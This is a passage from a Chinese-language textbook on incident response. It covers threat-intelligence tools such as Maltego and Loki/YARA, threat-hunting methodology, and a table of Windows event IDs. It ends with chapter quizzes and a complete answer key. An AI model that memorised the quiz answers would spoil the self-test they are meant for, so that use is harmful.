在这种情况下,变换找到了几个与恶意软件相关的域名注册、IP 地址、URL 和文件哈希。对于哈希,也可以重复相同的过程。在这里,VirusTotal 变换在恶意软件实体上运行,显示该 IP 地址与后利用工具 Cobalt Strike 相关:

图 17.33 – VirusTotal 哈希返回
Maltego 是一个有用的工具,用于揭示 IOC 和更大规模对手基础设施之间的关系。正如我们所看到的,简单的 IP 地址(可能在防火墙日志审查中发现)可以通过利用 OSINT 来源,转化为对手的个人资料、基础设施和工具。除了在揭示 IOC 之间的联系时有用,OSINT 还可以用来检测隐藏的恶意软件或其他漏洞,使用上一章讨论过的 YARA 规则。
YARA 和 Loki
在上一章关于恶意软件的内容中,我们探讨了模式匹配工具 YARA,并介绍了如何创建规则。在本示例中,我们将通过一个扫描器应用一系列广泛的 YARA 规则,扫描器将尝试识别与这些规则匹配的文件或可执行文件。
一款用于扫描系统并利用 YARA 规则的好工具是 Loki,它是一个简单的 IOC 扫描器,位于 github.com/Neo23x0/Loki。这个轻量级的平台允许事件响应分析师扫描文件夹、文件,甚至整个卷,查找 IOCs,比如 YARA 规则、已知的恶意文件哈希、文件名 IOCs 以及已知的 C2 服务器。Loki 开箱即用,拥有一个定期更新的广泛 IOC 库。要开始使用 Loki,按照以下步骤进行:
- 要检查系统卷中的特定 IOCs,请将 Loki 下载并解压到 USB 设备或本地系统中。打开
loki文件夹后,您会找到以下文件:

图 17.34 – Loki 文件
-
Loki 必须更新为最新的 IOCs,因此,右键单击 loki-upgrader 并以管理员身份运行。升级程序将运行,更新可执行文件和签名文件。完成后,更新器将关闭。
-
返回到 Loki 文件,您会看到一个名为
signature-base的新文件已被添加:

图 17.35 – 签名基础文件
该文件夹包含所有 Loki 可用于在卷上进行搜索的 IOCs。这也允许创建自己 YARA 规则的分析师将其加载到文件中,从而使他们能够定制解决方案。
- 要扫描系统,右键单击
loki.exe应用程序并以管理员身份运行。这将启动可执行文件并打开以下窗口:

图 17.36 – Loki 扫描
- 在规则集更新后,Loki 将开始在卷中搜索任何匹配的模式或 IOC:

图 17.37 – Loki 扫描输出
- 任何匹配的规则将以红色显示。在这种情况下,Loki 命中了工具 Nmap,它通常用于扫描内部网络,既用于合法用途,也用于恶意目的:

图 17.38 – Loki 扫描命中
在此,分析师可以注意到任何命中,并在后续进行检查。另一个关键特性是 Loki 可以部署在多个系统上,作为对可能被新型恶意软件感染的系统进行初步筛查的一部分。例如,事件响应分析师可能能够使用来自威胁情报提供商(如 ReversingLabs)的 YARA 规则,搜索 Petya 勒索病毒攻击的 IOC,其中包括从 GitHub 下载的 YARA 规则:github.com/reversinglabs/reversinglabs-yara-rules。
从这里,YARA 规则可以输入 Loki 或其他平台,并用于筛查可疑系统。
事件响应分析师可以使用的工具数量每天都在增加。这些工具包括商业工具和集成各种威胁情报流和功能的免费工具。通过这些工具,可以主动检测、警报并调查正在进行中的事件。CSIRT(计算机安全事件响应小组)应当努力审查这些工具,并将它们整合到他们的流程中。这样做将帮助他们更高效地检测和调查事件。
总结
孙子兵法中的战略概念包括“知己知彼,百战不殆”。通过这一点,你可以对自己在竞争中获胜的能力充满信心。威胁情报迅速成为组织主动安全控制的关键组成部分,同时也是组织应对事件的一个重要因素。本章探讨了网络威胁情报的最新技术和方法论,以及将这些数据付诸实践的来源、技术和方法。
为了前进,寻求利用威胁情报优势的组织,首先必须了解威胁。然后,他们可以定义自己的需求,并开始情报处理过程。最后,通过整合工具集来利用威胁情报,他们可以为自己提供更有效的主动控制能力以及高效响应的能力。虽然威胁情报可能无法完全消除对对手的恐惧,但它确实让组织拥有更多的“弹药”来应对今天的威胁。威胁情报在通过威胁狩猎主动识别环境中的威胁时也起到了重要作用,威胁狩猎是后面章节的主题。在深入讨论狩猎之前,我们将首先审视一种特定类型的威胁:勒索软件。
问题
-
哪项不是情报的关键元素?
-
受感染指示(IOC)
-
工具
-
基于证据
-
可操作的
-
-
以下哪项是网络击杀链的一部分?
-
网络钓鱼
-
武器化
-
恶意软件
-
IOC
-
-
TTPs 描述了对手在网络攻击中的行动。
-
正确
-
错误
-
-
以下哪项不是威胁情报类型?
-
操作
-
战略
-
防御
-
战术
-
进一步阅读
请参考以下内容,了解本章涵盖的更多详细信息:
-
操作化威胁 情报:
www.packtpub.com/product/operationalizing-threat-intelligence/9781801814683 -
什么是威胁情报?定义和示例:
www.recordedfuture.com/threat-intelligence-definition/Threats/Vulnerabilities:www.sans.org/reading-room/whitepapers/threats/paper/38790 -
Yara GitHub 仓库:
github.com/VirusTotal/yara -
Suricata:
suricata-ids.org/ -
Zeek 网络安全监控器:
www.zeek.org/ -
Snort:
www.snort.org/
第十八章:威胁狩猎
Mandiant 发布的 APT1 报告为信息安全专业人员提供了对最为经验丰富和活跃的威胁团体之一的深入了解。对中国人民解放军 61398 部队的洞察也为这些复杂的威胁行为者提供了背景。高级持续性威胁(APT)一词也成为了信息安全领域的术语。信息安全和事件响应人员现在可以洞察到那些在很长一段时间内未被发现的威胁活动。
由于 APT(高级持续性威胁)带来的威胁,再加上即便是相对复杂的攻击团体在目标网络中潜伏的时间,组织已开始从被动检测与响应转向更为主动的方法,以识别网络中的潜在威胁。这一实践被称为威胁狩猎,是一种主动的过程,运用数字取证技术对系统和网络组件进行分析,以识别并隔离那些之前未被发现的威胁。与事件响应类似,威胁狩猎是由过程、技术和人员组成的,且不依赖于预先配置的警报或自动化工具,而是结合了事件响应、威胁情报和数字取证的各个元素。
本章将通过考察几个关键元素,概述威胁狩猎的实践:
-
威胁狩猎概述
-
构建假设
-
规划狩猎
-
用于威胁狩猎的数字取证技术
-
用于威胁狩猎的 EDR
威胁狩猎概述
威胁狩猎是一项发展中的学科,主要受到威胁情报的可用性以及可以用来在当今现代企业架构中进行大规模威胁狩猎的工具(如端点检测与响应(EDR)和 SIEM 平台)的推动。由此发展出的是具体的工作周期和成熟度模型,可以指导组织开始和执行威胁狩猎计划。
威胁狩猎周期
威胁狩猎,像事件响应一样,是一个以过程为驱动的实践。目前并没有明确的、被广泛接受的标准流程,但威胁狩猎有一个大致的顺序,这一顺序为执行提供了可遵循的流程。以下图示将威胁狩猎的各个阶段结合成一个流程,指导威胁猎手完成各项活动,从而促进准确和全面的狩猎:

图 18.1 – 威胁狩猎周期
启动事件
威胁狩猎始于一个启动事件。将威胁狩猎纳入操作流程的组织可能有一个过程或政策,要求在特定的节奏或时间进行威胁狩猎。例如,某组织可能有一个流程,要求安全运营团队每月进行四到五次威胁狩猎,每周的周一开始。这些单独的狩猎事件中的每一个都会被视为启动事件。
第二种类型的启动事件通常由来自内部或外部来源的某种威胁情报警报驱动。例如,组织可能会收到类似于以下截图所示的警报。这个警报来自美国联邦调查局,地址为www.aha.org/system/files/media/file/2021/05/fbi-tlp-white-report-conti-ransomware-attacks-impact-healthcare-and-first-responder-networks-5-20-21.pdf,指示与 Conti 变种勒索软件相关的新的妥协指示器(IOCs)。组织可能会决定根据这一情报采取行动,并开始在网络中寻找与警报中提供的 IOCs 相关的任何指示器:

图 18.2 – FBI 警报
在启动事件完全理解后,下一阶段是开始制定在威胁狩猎过程中要寻找的内容。
创建工作假设
从启动事件开始,威胁狩猎团队接着创建工作假设。威胁狩猎是一项集中的工作,这意味着狩猎团队不会只是随便查看事件日志或内存映像,寻找任何他们能找到的东西。一个工作假设——例如一个 APT 组织已控制网络上的多个系统——是一个通用的假设,并未提供具体的威胁狩猎目标。威胁狩猎者需要将注意力集中在关键指标上,无论这些指标是来自持续威胁组织,还是来自现有的威胁情报。
工作假设提供了关注的重点。一个更好的假设可能是:一个 APT 风格的对手已控制了 DMZ 的 Web 服务器,并将其用作 C2 基础设施。这为狩猎团队提供了一个具体的目标,团队可以应用数字取证技术来判断这个假设是否成立。
通过警报启动的威胁狩猎通常能够发现可以用来构建假设的关键关注领域。例如,前一节包含了来自 FBI 的警报。除了与 Conti 相关的 IOCs 外,警报中还包含了以下内容:
具体的感染途径仍然未知,因为 Ryuk 会删除与用于部署恶意软件的下载器相关的所有文件。在某些情况下,Ryuk 是作为 TrickBot 和/或 Emotet 银行木马的后续部署,这些木马会使用 SMB 协议在网络中传播,并可被用来 窃取凭证。
从这些数据中,猎杀小组可以制定一个直接针对这些战术、技术和程序(TTP)的假设。这个假设可能是:敌方已经感染了多个内部系统,并且正在使用微软 SMB 协议在内部网络中横向传播,目的是感染其他系统。再次强调,这个假设具体且明确,能为威胁猎杀者提供一个具体的关注点,以便验证假设的正确性或错误性。
利用威胁情报
在前一章中,我们详细介绍了如何在事件处理中利用网络威胁情报。由于在威胁猎杀中我们正在应用各种事件响应和数字取证技术,网络威胁情报也在其中发挥着重要作用。与工作假设一样,威胁情报使猎杀小组能够进一步聚焦于通过回顾相关威胁情报所识别出的特定指示或 TTP。
一个关于假设与威胁情报结合的例子可以通过检查银行木马 Emotet 与支持其运行的基础设施之间的关系来提供。
首先,猎杀小组制定的假设是:内部网络中的系统与 Emotet 投放或指挥控制基础设施之间有过通信。有了这个假设,猎杀小组可以利用 OSINT 或商业数据源来增强他们的关注点。例如,以下网站已被确认为投放 Emotet 二进制文件的来源:
从这里开始,猎杀小组可以关注那些可能存在访问这些 URL 的流量迹象的系统。
应用取证技术
威胁猎杀周期中的下一个阶段是应用取证技术来测试假设。本书的大部分内容都致力于使用取证技术在各种位置寻找指示。在威胁猎杀中,猎杀小组将应用相同的技术来处理各种证据来源,以确定是否存在任何迹象。
例如,在前一节中,已确认五个与恶意软件 Emotet 相关的 URL 作为指标。威胁猎手可以利用多个证据源来确定这些指标是否存在。例如,代理日志的检查将显示内部系统是否连接到这些 URL 中的任何一个。DNS 日志也很有用,因为它们将显示内部网络上的系统是否尝试解析一个或多个 URL 来建立连接。最后,防火墙日志可能有助于确定是否已经向这些 URL 或相关 IP 地址发起了连接。
发现新的指标
在威胁狩猎过程中,可能会发现新的指标。搜索特定恶意软件系列的内存镜像会显示一个先前未知和未检测到的 IP 地址。以下是威胁狩猎中可能识别的前十个指标:
-
不寻常的出站网络流量
-
特权用户账户异常
-
地理异常
-
登录失败过多
-
数据库读取量过多
-
HTML 响应大小
-
文件请求过多
-
端口申请不匹配
-
可疑注册表或系统文件更改
-
DNS 请求异常
丰富现有假设
在威胁狩猎过程中,可能会发现新的指标,这可能会迫使修改现有的威胁狩猎假设。例如,在搜索 Emotet 感染指标时,威胁猎手发现 Windows 系统内部工具 PsExec 用于在内部网络中进行横向移动。因此,原始假设应相应更改以反映这一新技术,并将任何指标纳入持续的威胁狩猎中。
威胁猎手在发现新的指标时的另一种选择是开始新的威胁狩猎,利用新的指标作为启动事件。当识别到的指标或 TTP 明显超出原始威胁狩猎假设时,通常会采取这种行动。这也是在可能有多个团队可以利用的情况下的一种选择。最后,在发生数据丢失、凭证泄露或多系统感染的情况下,指标可能需要从威胁狩猎转向事件响应。在哪一点上修改现有假设、创建新假设或者在最糟糕的情况下宣布事件,是由狩猎团队来决定的。
威胁狩猎报告
第十三章 提供了需要的详细信息,使事件响应人员能够正确报告他们的活动和发现。威胁狩猎的报告同样至关重要,因为它为管理者和政策制定者提供了对狩猎团队所使用的工具、技术和流程的洞察,同时为额外工具的使用或修改现有流程提供了潜在的理由。以下是威胁狩猎报告的一些关键要素:
-
执行摘要:这一高层次的概述总结了采取的行动、发现的指标,以及猎杀是否证明或推翻了假设,为决策者提供了一个可以付诸行动的简短叙述。
-
威胁猎杀计划:该计划应包括威胁猎杀假设,并作为威胁猎杀报告的一部分。它为读者提供了猎杀团队在工作中所使用的各项详细信息。
-
法医报告:正如第十三章所探讨的,法医工具以及事件响应人员本身生成了大量的数据。威胁猎杀报告的这一部分是最为详尽的,因为每个系统或证据来源的详细检查应当被记录下来。此外,应提供一个全面的列表,列出所有在猎杀过程中被检查的证据项目。
-
发现:本节将指示猎杀团队是否能够证明或推翻在猎杀开始时设定的假设。如果假设得到了验证,应有文档记录后续的行动,如假设的修改、新假设的提出,或是否启动了事件响应能力。最后,所有在威胁猎杀过程中发现的 IOC、攻击指标(IOA)或 TTP 也应记录在案。
发现部分的另一个关键领域应指明现有的流程和技术如何支持进行详细的威胁猎杀。例如,如果威胁猎杀表明 Windows 事件日志在时间或数量上不足,应在报告中指出。此类洞察提供了为创建一个足够的网络和系统可见性环境以便进行详细威胁猎杀所投入的额外时间和资源的合理性依据。
威胁猎杀报告的另一个部分是专门用于非安全或与事件无关的发现。威胁猎杀常常发现易受攻击的系统、现有的配置错误或与事件无关的数据点。这些应作为威胁猎杀的一部分进行报告,以便进行修复。
- 建议:由于威胁狩猎过程往往会有发现,即便是那些否定假设且不包含任何安全发现的狩猎活动,仍然应该包括一些改进未来威胁狩猎、提高组织安全态势或改善系统配置的建议。还建议将这些建议分类。例如,战略性建议可能包括需要更多资源和时间来实施的长期配置或安全态势改善;战术性建议则可能包括短期内可以实现的简单改进,提升警报准确性,或优化威胁狩猎过程或系统设置。为了进一步分类建议,可以根据建议的紧迫性来进行优先级划分,那些旨在提升安全态势或防止高风险攻击的建议,应比单纯关注流程改进或配置变更的建议具有更高的优先级。
威胁狩猎报告包含大量数据,可以用来持续改进整体威胁狩猎过程。另一个需要考虑的方面是,可以向高级管理人员报告哪些关于威胁狩猎的指标。他们可能感兴趣的一些关键数据点包括:所用时长、已识别的未知指示器、已感染的系统、已识别的威胁,以及已包含的系统数量。拥有能够提供威胁狩猎能力指标的数据,表明该过程能够识别以前未发现的威胁,这将有助于确保这一过程成为组织日常安全操作的一部分,并得以持续进行。
威胁狩猎成熟度模型
网络安全专家 David Bianco(前一章节中提到的“痛苦金字塔”模型的开发者)在为网络安全公司 Sqrrl 工作时开发了威胁狩猎成熟度模型。理解这个成熟度模型与威胁狩猎的关系非常重要,因为它为威胁狩猎者及其组织提供了一个框架,帮助他们确定如何将威胁狩猎过程逐步成熟化。该成熟度模型由五个级别组成,从HM0 – 初始级别(或HM0)开始,到 HM4 为止。
接下来是对该模型五个级别的回顾:
-
HM0 – 初始级别:在初始阶段,组织完全依赖自动化工具,如网络或主机入侵预防/检测系统、杀毒软件或 SIEM 来向威胁狩猎团队提供警报。这些警报随后会被手动调查并进行修复。除了对警报的高度依赖外,此阶段没有使用威胁情报指示器。最后,这一成熟度级别的特点是收集系统遥测数据的能力有限。处于此阶段的组织无法进行威胁狩猎。
-
HM1 – 最低级:在最低级阶段,组织正在收集更多的数据,实际上可能已经可以访问大量系统遥测数据。此外,这些组织表现出将威胁情报融入其运营的意图,但在威胁行为者的最新数据和情报方面仍然落后。尽管这一阶段的组织通常仍依赖自动化警报,但增加的系统遥测水平使得这些组织能够从报告中提取威胁情报指标,并搜索可用数据以查找任何匹配的指标。这是威胁狩猎能够开始的第一个级别。
-
HM2 – 程序化:在这一阶段,组织正在使用由其他组织开发的威胁狩猎程序,并将其应用于特定的使用案例。例如,某个组织可能会找到一份关于通过 Windows 系统内部工具进行横向移动的演示或用例说明。接下来,他们会提取该程序的相关特征,并将其应用于自己的数据集。在此阶段,组织无法创建自己的威胁狩猎流程。HM2 阶段也代表了拥有威胁狩猎程序的组织中最常见的威胁狩猎成熟度级别。
-
HM3 – 创新:在这一成熟度级别,威胁狩猎者正在开发自己的流程。除此之外,还增加了多种方法的使用,包括机器学习、统计分析和链路分析等,这些方法不依赖于手动流程。此阶段也有大量可用的数据。
-
HM4 – 领先:作为威胁狩猎的前沿阶段,领先的成熟度级别结合了 HM3 的许多特点,但有一个显著的区别,那就是使用自动化。过去产生有效结果的流程被自动化,为威胁狩猎者提供了一个机会,创建新的威胁狩猎系统,更加有效地跟上新兴威胁的步伐。
威胁狩猎成熟度模型
威胁狩猎成熟度模型是一个有用的框架,帮助组织识别其当前的成熟度水平,并规划未来技术和流程的纳入,以跟上不断变化的威胁格局。
制定假设
在前面的章节中,我们探讨了制定具体且可操作的威胁狩猎假设的重要性。此外,我们还讨论了威胁情报如何帮助我们制定假设。另一个在制定假设时可以利用的关键数据集是 MITRE ATT&CK 框架。就制定具体假设而言,这一框架在深入挖掘到制定扎实假设所需的具体数据点时非常有用。
MITRE ATT&CK
在 第十七章 中探讨了 MITRE ATT&CK 框架,特别是它如何在事件响应中融入威胁情报。MITRE ATT&CK 框架在威胁狩猎的初步规划和执行中也非常有用。MITRE ATT&CK 框架在威胁狩猎的多个领域中都非常有价值,但本章的重点将放在两个具体的用例上。第一个是使用框架来制定一个具体的假设。第二,框架可以用来确定可能的证据来源,从而产生最佳的指标。
第一个用例,制定假设,可以通过检查 MITRE ATT&CK 框架中各种策略和技术来实现。虽然这些策略具有描述性,但它们并不具体到足以在威胁狩猎假设创建中发挥作用。威胁狩猎者应关注的是构成策略的各种技术——例如,检查初始访问策略,该策略描述了对手用来获得初步立足点的各种技术。MITRE ATT&CK 框架详细描述了这些策略。
MITRE ATT&CK 框架可以通过将一个或多个这些技术结合到不同的策略中来为假设提供支持。例如,如果威胁狩猎团队关注 C2 流量,他们可以查看 MITRE ATT&CK 企业策略下的 TA0011。该策略下有 22 个具体的技术。从这里,威胁狩猎团队可以选择一种技术,如 T1132—数据编码。然后,他们可以制定一个假设,表述为:对手已经入侵了内部网络上的系统,并使用编码或压缩技术来混淆 C2 流量。
在这个例子中,MITRE ATT&CK 框架为制定假设提供了坚实的基础。MITRE ATT&CK 框架还提供了对已识别为使用这种技术的各种威胁行为者组和工具的深入了解。例如,检查技术 T1132—数据编码,位于 attack.mitre.org/techniques/T1132/,揭示了像 APT19 和 APT33 这样的威胁行为者组都使用这种技术来混淆它们的 C2 流量。在工具方面,MITRE 指出各种恶意软件家族,如 Linux Rabbit 和 njRAT,使用混淆技术,如 Base64 编码或编码的 URL 参数。如果威胁狩猎团队愿意,这可以进一步将威胁狩猎集中在特定的威胁组或恶意软件家族上。
MITRE ATT&CK 框架在威胁狩猎中的第二种应用方式是提供关于证据来源的指导。回到 T1132—数据编码技术,MITRE 指出,与该技术相关的最佳数据源是数据包捕获、网络协议分析、进程监控和识别使用网络连接的进程。从这里,威胁猎手可以利用 Moloch 或 Wireshark 进行数据包捕获分析,识别任何恶意指示器。这些可以通过检查关键系统的内存中的网络连接及其相关进程来进一步增强。
MITRE 通常会细化更多有助于威胁狩猎团队在寻找指示器时的细节。技术 1132 包含了关于该特定技术的更多细节,如下所示:
分析网络数据,以识别不常见的数据流(例如,客户端发送的数据量显著超过从服务器接收的数据)。通常没有网络通信或以前从未见过的进程利用网络时是可疑的。分析数据包内容以检测不符合预期协议行为的通信,尤其是针对所使用端口的协议。
有关该技术、数据源和潜在行动方案的详细信息对威胁猎手帮助巨大,因为它使他们能够将注意力集中在威胁狩猎、假设以及最终的行动方案上。这些元素有助于制定威胁狩猎计划。
计划一次狩猎
开始进行威胁狩猎并不需要大量的规划,但应该有一些结构化的安排,关于如何进行威胁狩猎、数据源以及威胁狩猎将聚焦的时间段。一个简短的书面计划将涵盖所有必要的关键点,并确保猎手团队集中在同一焦点区域,从而减少与威胁狩猎无关的外部数据。以下是任何计划中应涉及的七个关键要素:
-
假设:一个简短的一到两句话的假设,之前已经讨论过。所有猎手团队成员都应该清楚理解这个假设。
-
MITRE ATT&CK 战术:在上一章中,讨论了 MITRE ATT&CK 框架及其在威胁情报和事件响应中的应用。在这种情况下,威胁狩猎应该包括威胁行为者使用的特定战术。选择最适用于假设的战术。
-
威胁情报:狩猎团队应尽可能利用内部开发和外部来源的威胁情报。外部来源可以是商业提供商或 OSINT。威胁情报应包括与假设和先前识别的 MITRE ATT&CK 战术直接相关的 IOC、IOA 和 TTP。这些数据点将是狩猎团队在狩猎过程中所利用的。
-
证据来源:这应列出在威胁狩猎过程中应利用的各种证据来源。例如,如果狩猎团队正在寻找通过 SMB 进行的横向移动指标,他们可能希望利用 NetFlow 或选择的网络数据包捕获。使用远程桌面进行的横向移动的其他指标可以在 Windows 事件日志中找到。
-
工具:该计划的这一部分概述了审查证据所需的具体工具。例如,第十二章讨论了使用开源工具 Skadi 进行日志文件分析。如果威胁狩猎计划使用此工具,则应在计划中包含该工具。
-
范围:指将包含在威胁狩猎中的系统。计划应指示关注单个系统或多个系统、子网或网络段。刚开始时,威胁狩猎者应集中于有限数量的系统,并在熟悉工具集及可以在给定时间内检查的证据量后逐步增加系统。
-
时间框架:由于威胁狩猎通常涉及对证据的回顾性检查,因此有必要设定一个时间框架,威胁狩猎团队应集中于此。例如,如果一个来源事件相对较新(例如 48 小时内),计划中所指示的时间框架可能仅限于过去 72 小时,以处理任何先前未被发现的对手行动。其他时间框架可能会将威胁狩猎的范围扩展到 14 天,甚至 30 天,具体取决于假设和可用的威胁情报。
这是一个示例威胁狩猎计划,将这些元素融入到一个易于查看的框架中,用于识别 Cobalt Strike 的存在:

图 18.3 – 威胁狩猎计划
该计划概述了对 Cobalt Strike 存在的威胁狩猎。假设和 MITRE ATT&CK 技术被清晰定义,设定了整体工作的范围。从威胁情报的角度来看,用户cobaltstrikebot是一个非常好的最新 IOC 来源。证据来源和所需的工具被清楚地定义,并与可以利用的具体遥测范围一起提供。最后,分析师设定了为期 7 天的威胁狩猎时间框架。由于 Cobalt Strike 等工具的普及及其相关风险,这种类型的威胁狩猎可能每周进行一次,这一点反映在时间框架中。
现在我们有了一个计划,让我们简要地看看数字取证技术如何适应威胁狩猎,以及如何在大规模上进行狩猎。
威胁狩猎的数字取证技术
我们已经专门为网络和端点系统的数字取证技术安排了几章内容。将这些技术应用于威胁狩猎的挑战在于,有些技术与整体威胁狩猎方法并不兼容。例如,以识别恶意脚本执行为目标的狩猎行动不能依赖于随机选择的单个系统,而应该具备检查整个网络中所有系统以寻找匹配行为的能力。
在将数字取证技术整合到威胁狩猎程序时,有一些需要考虑的事项:
-
识别数据源:如果你没有能力利用防火墙连接日志进行超过 24 小时的分析,那么可能很难追溯到足够远的时间点来进行有效的网络威胁狩猎。不要轻易放弃,可以进行一些威胁研究,以识别与你所选工具匹配的其他行为。如果你能够提取过去 10 天的 PowerShell 日志,你就更有可能发现集中于搜索 Windows 事件日志的后渗透框架,而不是防火墙日志。
-
专注于规模:我们在前几章中探讨的许多取证技术,都是在某些其他数据表明证据可能存在于特定系统中后执行的。例如,看看 ProcDump 的执行情况。SIEM 发出的警报或其他指示通常会指向需要调查的特定系统。所需的是在整个网络中扫描这种行为的能力。这需要使用像 IDS/IPS、SIEM 这样的工具,或者正如我们接下来将讨论的,支持这种规模的 EDR 工具。
-
开始狩猎吧:正如我们在成熟度模型中看到的,你不会在一开始就处于威胁狩猎的前沿。相反,最好从小做起。例如,识别威胁情报源中正在利用的五大威胁。然后,专注于证据收集和分析。随着这个过程的推进,你会发现更多的数据源和证据收集工具或技术,之后可以将它们纳入到这个过程中。
-
三种可能的结果之一:最后的考虑是,威胁狩猎有三种可能的结果。第一,你证明了假设正确,现在必须转向事件响应。第二,你没有证明假设正确,但验证了你的工具和技术足以得出准确的结论。第三,也是最终的结果,你无法证明或反驳你的假设,因为缺乏工具、技术不成熟或两者的结合。在任何情况下,你的狩猎计划都会不断改进。
接下来,我们将简要了解 EDR 平台如何帮助大规模提供数字取证。
EDR 在威胁狩猎中的作用
在威胁狩猎中大有帮助的一类工具是 EDR 工具。这些工具建立在现有的杀毒平台方法论之上。许多这些平台还具备在整个企业中搜索特定 IOC 和其他数据点的能力,允许威胁狩猎团队在大量系统中搜索任何匹配的 IOC。这些工具在威胁狩猎中应得到广泛使用。
这种功能可能超出某些组织的预算。在这种情况下,我们也可以使用前面讨论过的工具 Velociraptor 进行威胁狩猎。在这种情况下,让我们来看一下假设为以前未被识别的威胁行为者正在通过 RDP 连接到内部系统作为其初步立足点的威胁狩猎:
- 首先,登录 Velociraptor 并点击最左侧栏的目标符号。这将打开威胁狩猎页面。

图 18.4 – 配置威胁狩猎
- 接下来,点击加号以开始一个新的威胁狩猎。

图 18.5 – 威胁狩猎描述
- 输入描述信息,然后点击选择工件。可以滚动查找或使用关键字搜索,找到标记为Windows.EventLogs.RDPAuth的远程桌面工件。

图 18.6 – 设置要收集的工件
-
保留其余参数为默认值,然后点击启动。
-
在中间窗格中选择该狩猎,然后点击左上角的播放符号。
-
下载结果。

图 18.7 – 下载结果
在这种情况下,我们将简要回顾结果,该结果位于 CSV 文档中。我们可以在文档中看到实际的 RDP 连接以及相关的 IP 地址。

图 18.8 – 威胁狩猎结果
从这里,分析师可以解析数据,并确定哪些连接需要进一步的升级和调查。
EDR 工具允许分析师对即使是最大的网络进行大规模的威胁狩猎。这项能力在追踪可能影响网络中各种系统的威胁时至关重要。即使没有 EDR,像 Velociraptor 这样的工具也能提供类似的功能,帮助分析师快速获取进行有效威胁狩猎所需的数据。
总结
Eric O’Neill,前 FBI 情报专家和网络安全专家曾说:当你不主动狩猎威胁时,威胁就会主动狩猎你。这正是威胁狩猎背后的情感。正如之前所讨论的,从妥协到检测的平均时间足够对手造成重大损害。威胁检测可以通过理解组织在主动威胁狩猎方面的成熟度,应用威胁狩猎周期,进行充分规划,并最终记录发现来完成。采取主动防御可能会减少对手造成损害的时间,并有助于保持领先,跟上不断变化的威胁格局。
问题
请回答以下问题以测试您对本章节的知识掌握情况:
-
在威胁狩猎成熟度模型的哪个层级中可以找到机器学习等技术?
-
HM0
-
HM1
-
HM2
-
HM3
-
-
以下哪项是前 10 大 IOC?
-
IP 地址
-
恶意软件签名
-
过多的文件请求
-
URL
-
-
启动威胁狩猎的事件可以是一个威胁情报报告。
-
正确
-
错误
-
-
工作假设是关于威胁狩猎意图的概括性陈述。
-
正确
-
错误
-
进一步阅读
请参考以下内容,了解本章节所涵盖的更多细节:
-
您的实用威胁 狩猎指南:
www.threathunting.net/files/hunt-evil-practical-guide-threat-hunting.pdf -
使用 Velociraptor 进行威胁狩猎:
docs.velociraptor.app/presentations/2022_sans_summit/
附录
IT 和安全专业人员可以使用大量的 Windows 事件日志类型。本附录包含了与安全和事件调查相关的最关键事件,并已作为参考提供。
| 事件 ID | 事件类型 | 主要用途 | 事件日志 |
|---|---|---|---|
| 21 | 远程桌面服务:会话登录成功。 | 事件关联,横向移动,范围界定 | TerminalServices-LocalSession Manager/Operational |
| 25 | 远程桌面服务:会话重新连接成功。 | 事件关联,横向移动,范围界定 | TerminalServices-LocalSession Manager/Operational |
| 102 | 当终端服务网关服务需要有效的安全套接字层(SSL)证书以接受连接时,记录此事件。 | 事件关联,横向移动,范围界定 | Microsoft-Windows-Terminal Services-Gateway |
| 106 | 用户注册了一个计划任务。 | 执行,持久性 | Windows 任务调度器 |
| 107 | 任务调度器由于时间触发启动了一个任务。 | 执行,持久性 | Windows 任务调度器 |
| 131 | RDP 服务器接受了新的 TCP 连接。 | 事件关联,横向移动,范围界定 | 远程桌面服务 RdpCoreTs |
| 140 | 用户更新了一个计划任务。 | 执行,持久性 | Windows 任务调度器 |
| 141 | 用户删除了一个计划任务。 | 执行、持久性 | Windows 任务调度器 |
| 200 | 任务调度器在任务实例中启动了操作。 | 执行、持久性 | Windows 任务调度器 |
| 201 | 任务调度器成功完成任务。 | 执行、持久性 | Windows 任务调度器 |
| 800 | 管道执行详情。 | 事件关联、横向移动、执行 | PowerShell |
| 4103 | 执行管道。 | 事件关联、横向移动、执行 | PowerShell |
| 1024 | RDPClientActiveX 尝试连接到服务器。 | 事件关联、横向移动、范围定义 | Microsoft-Windows-Terminal Services-RDPClient/Operational |
| 4624 | 账户成功登录。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4625 | 账户登录失败。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4634 | 账户已注销。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4647 | 用户发起注销。 | 事件关联(事件与用户)、范围定义、用户位置识别 | 安全 |
| 4648 | 使用显式凭据尝试登录。 | 事件关联、横向移动、范围定义 | 安全 |
| 4672 | 新登录分配了特殊权限。 | 特权提升 | 安全 |
| 4698 | 创建了一个计划任务。 | 持久性 | 安全 |
| 4727 | 安全启用的全局组已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4728 | 安全启用的全局组中添加了成员。 | 特权提升、横向移动 | 安全 |
| 4737 | 安全启用的全局组已更改。 | 特权提升、横向移动、持久性 | 安全 |
| 4706 | 新的域信任已创建。 | 控制验证 | 安全 |
| 4720 | 用户账户已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4729 | 从安全启用的全局组中移除成员。 | 控制验证 | 安全 |
| 4754 | 安全启用的通用组已创建。 | 特权提升、横向移动、持久性 | 安全 |
| 4755 | 安全启用的通用组已更改。 | 特权提升、横向移动、持久性 | 安全 |
| 4776 | 用户账户已解锁。 | 特权提升、持久性 | 安全 |
| 5140 | 访问了网络共享对象。 | 横向移动 | 安全 |
| 5145 | 检查网络共享对象是否可以授予客户端所需的访问权限。 | 横向移动 | 安全 |
| 7045 | 用户安装了一个新服务。 | 执行、横向移动 | 安全 |
评估
第一章
-
A
-
C
-
B
-
A
第二章
-
A
-
D
-
B
第三章
-
B
-
A
-
D
-
B
第四章
-
D
-
A
-
D
-
B
第五章
-
C
-
A
-
C
-
A
第六章
-
A, C
-
A
-
A
-
D
第七章
-
A
-
B
-
D
-
B
第八章
-
D
-
C
-
B
-
A
第九章
-
D
-
C
-
A
-
C
第十章
-
A
-
B
-
C
-
A
第十一章
-
A
-
D
-
B
-
C
第十二章
-
D
-
A
-
B
-
B
第十三章
-
A
-
B
-
A
-
C
第十四章
-
D
-
C
-
A
-
B
第十五章
-
C
-
A
-
A
-
D
第十六章
-
D
-
A
-
A
-
B
第十七章
-
A
-
B
-
A
-
C
第十八章
-
D
-
C
-
A
-
A


浙公网安备 33010602011771号